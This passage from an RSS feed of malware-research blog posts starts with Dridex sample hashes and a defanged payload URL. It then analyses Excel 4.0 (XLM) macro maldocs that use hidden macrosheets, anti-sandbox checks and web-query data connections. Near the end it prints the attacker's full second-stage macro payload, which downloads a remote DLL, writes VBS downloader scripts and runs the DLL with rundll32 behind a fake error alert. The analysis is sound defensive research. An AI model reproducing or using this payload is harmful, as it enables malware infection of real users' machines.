The following samples were observed to follow a different attack sequence while matching Zloader sample patterns. After further analysis, these hashes were discovered to belong to the Dridex family of banking trojans:&lt;/li&gt;&lt;li&gt;&lt;code&gt;1cddbb162a43e08997bab20b8a2926495763a117dec8c0cbf898844a23d7d2b1&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/1cddbb162a43e08997bab20b8a2926495763a117dec8c0cbf898844a23d7d2b1&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/1cddbb162a43e08997bab20b8a2926495763a117dec8c0cbf898844a23d7d2b1/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;316edaff165c6148de4f6672c867da1a3ac3ababd2d1709f2f4c695d4fe637fc&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/316edaff165c6148de4f6672c867da1a3ac3ababd2d1709f2f4c695d4fe637fc&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/316edaff165c6148de4f6672c867da1a3ac3ababd2d1709f2f4c695d4fe637fc/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;7217d06b0c3860cd671a95db5df024b64592788634e71683389843693f1ef9cf&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/7217d06b0c3860cd671a95db5df024b64592788634e71683389843693f1ef9cf&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/7217d06b0c3860cd671a95db5df024b64592788634e71683389843693f1ef9cf/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;79f8ab4f45113916fcc6e46289f38df6e3db49e47621b439d4df4c3e0145f3d7&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/79f8ab4f45113916fcc6e46289f38df6e3db49e47621b439d4df4c3e0145f3d7&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/79f8ab4f45113916fcc6e46289f38df6e3db49e47621b439d4df4c3e0145f3d7/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;c01e9dc36e11c8ea226f076e31914272e6f6dc58afea557242c6da44d9985fbb&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/c01e9dc36e11c8ea226f076e31914272e6f6dc58afea557242c6da44d9985fbb&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/c01e9dc36e11c8ea226f076e31914272e6f6dc58afea557242c6da44d9985fbb/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;c07f9c7bc2614979354299183a4b0bdf1729af65b36d6b3bc612b8e7947737b0&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/c07f9c7bc2614979354299183a4b0bdf1729af65b36d6b3bc612b8e7947737b0&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/c07f9c7bc2614979354299183a4b0bdf1729af65b36d6b3bc612b8e7947737b0/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;c5b99d2371f542cf90063ce1ea55c2dd621658baeb19520737faa7850b1dd9f6&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/c5b99d2371f542cf90063ce1ea55c2dd621658baeb19520737faa7850b1dd9f6&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/c5b99d2371f542cf90063ce1ea55c2dd621658baeb19520737faa7850b1dd9f6/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;d1c53de4faccb95a8fe202541aa17147dc5e171dee6f2a26b167794bb7f335ad&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/d1c53de4faccb95a8fe202541aa17147dc5e171dee6f2a26b167794bb7f335ad&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/d1c53de4faccb95a8fe202541aa17147dc5e171dee6f2a26b167794bb7f335ad/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;ff0f168140bc9deba47986c40e1b43c31b817ad2169e898d62f4f59bb4996252&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/ff0f168140bc9deba47986c40e1b43c31b817ad2169e898d62f4f59bb4996252&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/ff0f168140bc9deba47986c40e1b43c31b817ad2169e898d62f4f59bb4996252/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;
&lt;ul&gt;&lt;li&gt;Payload URL:  hxxp://ginduq[.]com/glex.exe&lt;/li&gt; (registered in the past few days and can be heavily pivoted on to gain traction on the Dridex malware campaign).
&lt;li&gt;8.208.78.74      AS45102 | CN | CNNIC-ALIBABA-US-NET - Alibaba (US) Technology Co., Ltd.&lt;/li&gt;
&lt;/ul&gt;
For further details, comments, and suggestions... please reach out to the team on &lt;a href=&quot;https://twitter.com/inquest&quot; target=&quot;_top&quot;&gt;Twitter @InQuest&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2020-05-06 on &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2020/05/06/zloader-40-macrosheets-evolution&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;. Written with William MacArthur and Amirreza Niakanlahiji.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>03.18.2020: Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros</title>
            <link>http://pedramamini.com/blog/2020.03.18/</link>
            <pubDate>Wed, 18 Mar 2020 00:00:00 -0500</pubDate>
            <description>&lt;h3&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;In January of 2019, we published a blog titled &quot;&lt;a href=&quot;/blog/2019-01-29/&quot;&gt;Extracting 'Sneaky' Excel XLM Macros&lt;/a&gt;&quot; &nbsp;that detailed a technique attackers had adopted for embedding&nbsp;malicious logic under a less understood facet of Excel Spreadsheets, Excel 4.0 macros aka XLM macros.&lt;/p&gt;

&lt;p&gt;Over the past few weeks, we have observed a surge in maldocs leveraging XLM macros. A trend that other researchers have noticed and provided analysis on. Examples include &quot;&lt;a href=&quot;https://isc.sans.edu/diary/25868&quot; target=&quot;_top&quot;&gt;A Safe Excel Sheet Not So Safe&lt;/a&gt;&quot; written by &lt;a href=&quot;https://twitter.com/xme&quot; target=&quot;_top&quot;&gt;Xavier Mertens&lt;/a&gt;, as well as &quot;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/more-excel-4-0-macro-malspam-campaigns/&quot; target=&quot;_top&quot;&gt;Excel 4.0 Macro MalSpam Campaigns&lt;/a&gt;&quot; written by Diana Lopera.&lt;/p&gt;

&lt;p&gt;In this post, we provide a detailed analysis of an interesting campaign that is tied to a variety of executable payloads, a subject matter we'll be covering in a future blog. As of the time of writing, detection rates for this class of attack are relatively low, and these samples happily bypass the internal GSuite and O365 protection mechanisms.&lt;/p&gt;

&lt;p&gt;We'll dive into the analysis of two separate documents. The first one was attached to an email that was sent to us directly by the threat actor in late February (offline). The second was captured on March 17th, and in this case, the C2 servers are currently active.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Document One: inv-27101.xls&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;sha256: a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af |&nbsp;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af&quot; target=&quot;_top&quot;&gt;InQuest Labs - InQuest.net&lt;/a&gt;&nbsp;|&nbsp;&lt;a href=&quot;https://www.virustotal.com/gui/file/a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af/detection&quot; target=&quot;_top&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/6559af10-756a-492c-945f-61f15e3511df.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Document Two: Invoice85005.xls&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;sha256: bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f |&nbsp;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f&quot; target=&quot;_top&quot;&gt;InQuest Labs - InQuest.net&lt;/a&gt;&nbsp;|&nbsp;&lt;a href=&quot;https://www.virustotal.com/gui/file/bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f/detection&quot; target=&quot;_top&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/4ab35f73-1c93-4552-bdfc-510a745746a8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;h4&gt;&nbsp;&lt;/h4&gt;

&lt;h4&gt;&lt;strong&gt;Analysis of Document One: inv-27101.xls&lt;/strong&gt;&lt;/h4&gt;

&lt;p&gt;Depicted below is a graphic extracted from this malicious document lure. This is a common tactic employed by attackers today. To embed coercive text within an image in an attempt to bypass string-based detection engines while social engineering the target into activating the embedded logic. This document has one Excel sheet and one hidden macrosheet:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/453850fb-b870-4272-aed9-198e037ba627.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The macrosheet can be easily unhidden through the Microsoft Excel UI/UX, as seen here in this animation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/inv-27101-unhide.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Once the target user enables the active content, an Auto_Open sequence is activated that pivots to the cell D49, the contents of which are shown here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/faf93f7c-3d95-4d83-8d99-525194931e91.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;This embedded macro first checks a few conditions before executing its primary directive, exiting early if any of the following conditions are not met:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;
	&lt;p&gt;The cell containing GET.WORKSPACE(19) ensures a mouse is present.&lt;/p&gt;
	&lt;/li&gt;
	&lt;li&gt;
	&lt;p&gt;The cell containing GET.WORKSPACE(42) ensures that the system is capable of playing sounds.&lt;/p&gt;
	&lt;/li&gt;
	&lt;li&gt;
	&lt;p&gt;The cell containing GET.WORKSPACE(1) ensures that the environment is Windows.&lt;/p&gt;
	&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;These routines are anti-sandbox tactics. The actor wants to ensure that the sample is not being detonated by a behavioral analysis tool. To learn more about the GET.WORKSPACE() function, see &lt;a href=&quot;https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf&quot; target=&quot;_top&quot;&gt;Excel 4.0 Macro Functions Reference&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Assuming the conditions are met, the primary directive stored within the cell labeled 'asdf' is executed. Let's take a look at the cell 'asdf', depicted below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/b48c5dd4-c58b-4779-954f-25bf574f101d.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;This logic checks for content in the cell U113 of the first sheet every 2 seconds, in search of the string 'LOS'. The loop is continued while there is a matching; otherwise, execution continues within the I66 cell, which is pointed by 'sfgdfsh&lt;strong&gt;' &lt;/strong&gt;label. The code on line I66 to I69, basically copies the cells U110-U113 in Sheet1 to I70-I73 cell in the macrosheet.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/5b97e7ad-d77e-4538-87ff-19572c771c6e.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;If you check the content of U110 to U113 cells on the Sheet1, without enabling the active content, you see that these cells are empty. This is the most interesting aspect of this campaign as, so far as we know, a novel technique. A &quot;web query&quot; object is utilized by the maldoc to pull cell content from a remote URL. The web query sends the request to this remote server upon document activation and keeps sending requests every few seconds after. One can see the reference URL (hxxps://pnxkntdl[.]xyz/KJSDBViad7) in clear text by simply opening the document in a hex viewer for example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/bbe67f8a-2e99-4ca2-ad86-5f1e72733905.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;To further analyze how the URL is triggered, we'll use &lt;a href=&quot;https://www.aldeid.com/wiki/BiffView&quot; target=&quot;_top&quot;&gt;BiffView&lt;/a&gt;&nbsp;to parse the Excel document. If you search for the byte sequence '&lt;strong&gt;68 74 74 70' (&quot;HTTP&quot;) &lt;/strong&gt;you'll find that the URL lives within a BIFF DCONN object. This object triggers the web query, see the relevant flags highlighted in the depiction below that aligns the BIFF record with the relevant documentation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/4930058f-3b2d-4363-b5b0-480c4a1e59a2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The data returned from the remote URL is an XHTML (XML) document.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/5cbad708-7611-4fac-948f-363f652059da.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;And the web query content is enclosed within the '&amp;lt;PRE&amp;gt;' element of that&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/26003622-091f-42a2-9dd2-5a5d912347e2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The web query requests and responses are sent over an encrypted channel (HTTPS). To pierce into the communications between&nbsp;Excel and the remote site, we use &lt;a href=&quot;https://mitmproxy.org/&quot; target=&quot;_top&quot;&gt;mitmproxy&lt;/a&gt;. By default, mitmproxy listens on 127.0.0.1:8080. We change the proxy setting of the system to redirect all traffic through 127.0.0.1:8080:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/c867e49d-aefa-4867-8805-1c64763bd022.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The following content was returned from the remote URL, when the web query was executed in our lab:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br&gt;
&amp;lt;head&amp;gt;&amp;lt;base href=&quot;/lander/excel4_1581586732/index.html&quot;&amp;gt;&lt;br&gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;resource://content-accessible/plaintext.css&quot;&amp;gt;&lt;br&gt;
&amp;lt;/head&amp;gt;&lt;br&gt;
&amp;lt;body&amp;gt;&lt;br&gt;
&amp;lt;pre&amp;gt;&lt;br&gt;
=CLOSE(FALSE)&lt;br&gt;
=CLOSE(FALSE)&lt;br&gt;
=CLOSE(FALSE)&lt;br&gt;
=CLOSE(FALSE)&quot;&amp;lt;/pre&amp;gt;&lt;br&gt;
&amp;lt;/body&amp;gt;&lt;br&gt;
&amp;lt;/html&amp;gt; &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The content of &amp;lt;pre&amp;gt; element is copied to the cells U110 through U113. Because the resulting content of U110 will contain the substring '&lt;strong&gt;LOS'&lt;/strong&gt;, the macro will loop and checks again within two seconds. &lt;em&gt;This retrieved payload is completely benign. So what's going on here?&lt;/em&gt; This is good operational security on behalf of the actor. The remote server has not deemed us worthy of receiving the next stage of this malware. Perhaps the restriction is regional, maybe something else, luckily.... we got another document.&lt;/p&gt;

&lt;h4&gt;&lt;strong&gt;Analysis of Document Two: Invoice85005.xls&lt;/strong&gt;&lt;/h4&gt;

&lt;p&gt;Similar to the previous sample, this one contains an Excel sheet and &quot;very&quot; hidden macrosheet. Very hidden macro sheets can not be revealed via a simple UI/UX toggle. They must be hex edited to be visible within the native Excel application. See our &lt;a href=&quot;/blog/2019-01-29/&quot;&gt;previous blog&lt;/a&gt;&nbsp;for more information&lt;a href=&quot;/blog/2019-01-29/&quot;&gt;.&lt;/a&gt; Again, a graphical lure with coercive text is used to entice the user into activating the embedded logic:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/docusign.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;To unhide the macrosheet, we use Hexinator to change the type of the macrosheet manually. We know from previous research that a hidden and a very hidden sheet starts with &quot;&lt;strong&gt;85 00 ?? ?? ?? ?? ?? ?? 01 01&quot;&lt;/strong&gt; and &quot;&lt;strong&gt;85 00 ?? ?? ?? ?? ?? ?? 02 01&quot;&lt;/strong&gt; patterns respectively. To unhide these sheets, we just need to set the ninth byte to zero, as shown here in an animation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/very-hidden-unhide.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Again, the macro checks a few conditions:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;=IF(GET.WORKSPACE(42),CLOSE(TRUE))&lt;br&gt;
=GET.WORKSPACE(13)&lt;br&gt;
=GET.WORKSPACE(14)&lt;br&gt;
=IF(H24&amp;lt;770, CLOSE(FALSE),)&lt;br&gt;
=IF(H25&amp;lt;381, CLOSE(FALSE),)&lt;br&gt;
=IF(GET.WORKSPACE(19),CLOSE(TRUE))&lt;br&gt;
=IF(ISNUMBER(SEARCH(&quot;Windows&quot;,GET.WORKSPACE(1))), ON.TIME(NOW()+&quot;00:00:02&quot;, &quot;agawf23f&quot;),CLOSE(TRUE))&lt;br&gt;
=RETURN()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;it also checks whether the macrosheet is hidden&lt;/p&gt;

&lt;p&gt;&lt;code&gt;=WORKBOOK.HIDE(&quot;0TQ1ByZPP5&quot;, TRUE)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can easily patch this condition by changing TRUE to FALSE.&lt;/p&gt;

&lt;p&gt;It then jumps to U33 (agawf23f label):&lt;/p&gt;

&lt;p&gt;&lt;code&gt;=IF(ISNUMBER(SEARCH(&quot;s&quot;,Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+&quot;00:00:02&quot;, &quot;rstegerg3&quot;))&lt;br&gt;
=RETURN()&lt;br&gt;
=IF(ISNUMBER(SEARCH(&quot;s&quot;,Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+&quot;00:00:02&quot;, &quot;agawf23f&quot;))&lt;br&gt;
=RETURN()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This file also contains a web query object. The remote URL is seen below (hxxps://tdvomds[.]pw/12341324rfefv):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/be4ef5cc-622e-4591-944b-8b3d52a7316f.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The web query will populate a few cells in Sheet1 if it can successfully connect to the remote URL. The above macrosheet copies these&nbsp;cells from Sheet1 to the macrosheet and then executes the lines.&lt;/p&gt;

&lt;p&gt;Again, we use mitmproxy to capture the webquery response. Another approach is to modify the macro to prevent the execution of the second-level macro before enabling the macro. However, we are also interested in capturing the HTTP response.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/376a51bb-715f-4e20-802a-a5e54e9ef871.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The HTTP response contains an XHTML document, and this time, we are worthy of receiving the next-stage payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br&gt;
&amp;lt;head&amp;gt;&amp;lt;base href=&quot;/lander/df3f1f14f134f314f/index.html&quot;&amp;gt;&lt;br&gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;resource://content-accessible/plaintext.css&quot;&amp;gt;&lt;br&gt;
&amp;lt;/head&amp;gt;&lt;br&gt;
&amp;lt;body&amp;gt;&lt;br&gt;
&amp;lt;pre&amp;gt;&lt;br&gt;
=&quot;https://tdvomds.pw/fef23f23f&quot;&amp;lt;br&amp;gt;&lt;br&gt;
=GET.WORKSPACE(26)&amp;lt;br&amp;gt;&lt;br&gt;
=&quot;C:\Users\&quot;&amp;amp;R[-1]C&amp;amp;&quot;\AppData\Local\Temp\CVR&quot;&amp;amp;RANDBETWEEN(1000,9999)&amp;amp;&quot;.tmp.cvr&quot;&amp;lt;br&amp;gt;&lt;br&gt;
=&quot;C:\Users\&quot;&amp;amp;R[-2]C&amp;amp;&quot;\AppData\Local\Temp\&quot;&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;RANDBETWEEN(100,999)&amp;amp;&quot;.vbs&quot;&amp;lt;br&amp;gt;&lt;br&gt;
=&quot;C:\Users\&quot;&amp;amp;R[-3]C&amp;amp;&quot;\AppData\Local\Temp\&quot;&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;RANDBETWEEN(1000,9999)&amp;amp;&quot;.vbs&quot;&amp;lt;br&amp;gt;&lt;br&gt;
=IF(ISNUMBER(SEARCH(&quot;32&quot;,GET.WORKSPACE(1))), GOTO(R[2]C),)&amp;lt;br&amp;gt;&lt;br&gt;
=IF(ISNUMBER(SEARCH(&quot;64&quot;,GET.WORKSPACE(1))), GOTO(R[7]C),)&amp;lt;br&amp;gt;&lt;br&gt;
=CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCJJ&quot;,0,R[-7]C,R[-5]C,0,0)&amp;lt;br&amp;gt;&lt;br&gt;
=ALERT(&quot;The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.&quot;,2)&amp;lt;br&amp;gt;&lt;br&gt;
=CALL(&quot;Shell32&quot;,&quot;ShellExecuteA&quot;,&quot;JJCCCJJ&quot;,0,&quot;open&quot;,&quot;C:\Windows\system32\rundll32.exe&quot;,&quot;&quot;&amp;amp;R[-7]C&amp;amp;&quot;,DllRegisterServer&quot;,0,5)&amp;lt;br&amp;gt;&lt;br&gt;
=CLOSE(FALSE)&amp;lt;br&amp;gt;&lt;br&gt;
=LEFT(CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8))&amp;lt;br&amp;gt;&lt;br&gt;
=LEFT(CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122))&amp;amp;CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8))&amp;lt;br&amp;gt;&lt;br&gt;
=FOPEN(R[-10]C,3)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-1]C,&quot;Dim &quot;&amp;amp;R[-3]C&amp;amp;&quot;, &quot;&amp;amp;R[-2]C&amp;amp;&quot;&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-2]C,&quot;Set &quot;&amp;amp;R[-4]C&amp;amp;&quot; = CreateObject(&quot;&quot;MSXML2.ServerXMLHTTP.6.0&quot;&quot;)&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-3]C,&quot;&quot;&amp;amp;R[-5]C&amp;amp;&quot;.setOption(2) = 13056&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-4]C,&quot;&quot;&amp;amp;R[-6]C&amp;amp;&quot;.Open &quot;&quot;GET&quot;&quot;, &quot;&quot;&quot;&amp;amp;R[-17]C&amp;amp;&quot;&quot;&quot;, False&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-5]C,&quot;&quot;&amp;amp;R[-7]C&amp;amp;&quot;.setRequestHeader &quot;&quot;User-Agent&quot;&quot;, &quot;&quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&quot;&quot;&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-6]C,&quot;&quot;&amp;amp;R[-8]C&amp;amp;&quot;.Send&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-7]C,&quot;If &quot;&amp;amp;R[-9]C&amp;amp;&quot;.Status = 200 Then&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-8]C,&quot;Set &quot;&amp;amp;R[-9]C&amp;amp;&quot; = CreateObject(&quot;&quot;ADODB.Stream&quot;&quot;)&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-9]C,&quot;&quot;&amp;amp;R[-10]C&amp;amp;&quot;.Open&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-10]C,&quot;&quot;&amp;amp;R[-11]C&amp;amp;&quot;.Type = 1&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-11]C,&quot;&quot;&amp;amp;R[-12]C&amp;amp;&quot;.Write &quot;&amp;amp;R[-13]C&amp;amp;&quot;.ResponseBody&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-12]C,&quot;&quot;&amp;amp;R[-13]C&amp;amp;&quot;.SaveToFile &quot;&quot;&quot;&amp;amp;R[-23]C&amp;amp;&quot;&quot;&quot;, 2&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-13]C,&quot;&quot;&amp;amp;R[-14]C&amp;amp;&quot;.Close&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-14]C,&quot;End If&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FCLOSE(R[-15]C)&amp;lt;br&amp;gt;&lt;br&gt;
=EXEC(&quot;explorer.exe &quot;&amp;amp;R[-26]C&amp;amp;&quot;&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=WAIT(NOW()+&quot;00:00:05&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=ALERT(&quot;The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.&quot;,2)&amp;lt;br&amp;gt;&lt;br&gt;
=FOPEN(R[-28]C,3)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-1]C,&quot;Set obj = GetObject(&quot;&quot;new:C08AFD90-F2A1-11D1-8455-00A0C91F3880&quot;&quot;)&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FWRITELN(R[-2]C,&quot;obj.Document.Application.ShellExecute &quot;&quot;rundll32.exe&quot;&quot;,&quot;&quot; &quot;&amp;amp;R[-32]C&amp;amp;&quot;,DllRegisterServer&quot;&quot;,&quot;&quot;C:\Windows\System32&quot;&quot;,Null,0&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FCLOSE(R[-3]C)&amp;lt;br&amp;gt;&lt;br&gt;
=EXEC(&quot;explorer.exe &quot;&amp;amp;R[-32]C&amp;amp;&quot;&quot;)&amp;lt;br&amp;gt;&lt;br&gt;
=FILE.DELETE(R[-34]C)&amp;lt;br&amp;gt;&lt;br&gt;
=CLOSE(FALSE)&amp;lt;br&amp;gt;&lt;br&gt;
=RETURN()&amp;lt;br&amp;gt;&lt;br&gt;
&amp;lt;/pre&amp;gt;&lt;br&gt;
